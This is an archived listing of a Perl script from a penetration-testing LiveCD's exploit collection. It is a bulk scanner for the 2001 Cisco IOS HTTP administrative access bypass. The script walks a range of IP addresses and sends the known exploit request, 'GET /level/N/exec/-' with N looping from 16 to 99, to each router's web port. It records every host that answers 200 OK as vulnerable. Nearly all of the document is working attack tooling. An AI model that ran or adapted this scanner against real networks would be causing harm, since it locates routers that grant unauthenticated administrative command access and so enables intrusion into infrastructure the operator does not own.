home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / IOScan.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  89 lines

  1. #!/usr/bin/perl
  2. #
  3. # Bulk Scanner for the Cisco IOS HTTP Configuration Arbitrary
  4. # Administrative Access Vulnerability
  5. # Found: 06-27-01 - Bugtraq ID: 2936
  6. # Written by hypoclear on 07-03-01
  7. #
  8. # usage: ./IOScan.pl <start ip> <end ip>
  9. # Note: start and end ip must be a Class B or C network
  10. # example: ./IOScan 192.168.0.0 192.168.255.255
  11. #
  12. # hypoclear - hypoclear@jungle.net - http://hypoclear.cjb.net
  13. # This and all of my programs fall under my disclaimer, which
  14. # can be found at: http://hypoclear.cjb.net/hypodisclaim.txt
  15.  
  16. use IO::Socket; 
  17.  
  18. die "\nusage: $0 <start ip> <end ip>
  19. Note:  start and end ip must be a Class B or C network
  20. ex:   ./IOScan 192.168.0.0 192.168.255.255\n\n" unless @ARGV > 0;
  21. $num = 16; $ipcount = 0; $vuln = 0;
  22.  
  23. if (defined $ARGV[1])
  24.  { $currentIP = $ARGV[0]; $endIP = $ARGV[1];
  25.    while(1)
  26.     { @CURIP = split(/\./,$currentIP);
  27.       if (($CURIP[2] > 255) && ($CURIP[3] > 255))
  28.        { scanEnd();
  29.        }
  30.       print "Scanning $currentIP\n";
  31.       scan($currentIP);
  32.       if ($currentIP eq $endIP)
  33.        { scanEnd();
  34.        }
  35.       if ($CURIP[3] < 255)
  36.        { $CURIP[3]++;
  37.        }
  38.       else
  39.        { $CURIP[2]++;
  40.          $CURIP[3]=0;
  41.        }
  42.       $currentIP = "";
  43.       foreach $item (@CURIP)
  44.         { $currentIP .= "$item.";
  45.         }
  46.       $currentIP =~ s/\.$//;
  47.       $ipcount++;
  48.      }
  49.  }
  50.  
  51.  
  52. sub scan
  53.   { while ($num <100)
  54.       { $IP = $_[0];
  55.         sender("GET /level/$num/exec/- HTTP/1.0\n\n");
  56.         if ($webRecv =~ /200 ok/)
  57.          { $vuln++;
  58.            open(OUT,">>ios.out") || die "Can't write to file";
  59.            print OUT "$IP is Vulnerable\n";
  60.            close(OUT);
  61.            $num = 101;
  62.          }
  63.         $num++;
  64.       }
  65.      $num = 16;
  66.   }
  67.  
  68.  
  69. sub sender
  70.   { $sendsock = IO::Socket::INET -> new(Proto     => 'tcp',
  71.                                         PeerAddr  => $IP,
  72.                                         PeerPort  => 80,
  73.                                         Type      => SOCK_STREAM,
  74.                                         Timeout   => 1);
  75.         unless($sendsock){die "Can't connect to $ARGV[0]"}
  76.    $sendsock->autoflush(1);
  77.  
  78.    $sendsock -> send($_[0]);
  79.    $webRecv = ""; while(<$sendsock>){$webRecv .= $_} $webRecv =~ s/\n//g;
  80.    close $sendsock;
  81.   }
  82.  
  83.  
  84. sub scanEnd
  85.   { print "\nScanned $ipcount ip addresses, $vuln addresses found vulnerable.\n";
  86.     if ($vuln > 0) {print "Check ios.out for vulnerable addresses.";}
  87.     die "\n";
  88.   }
  89.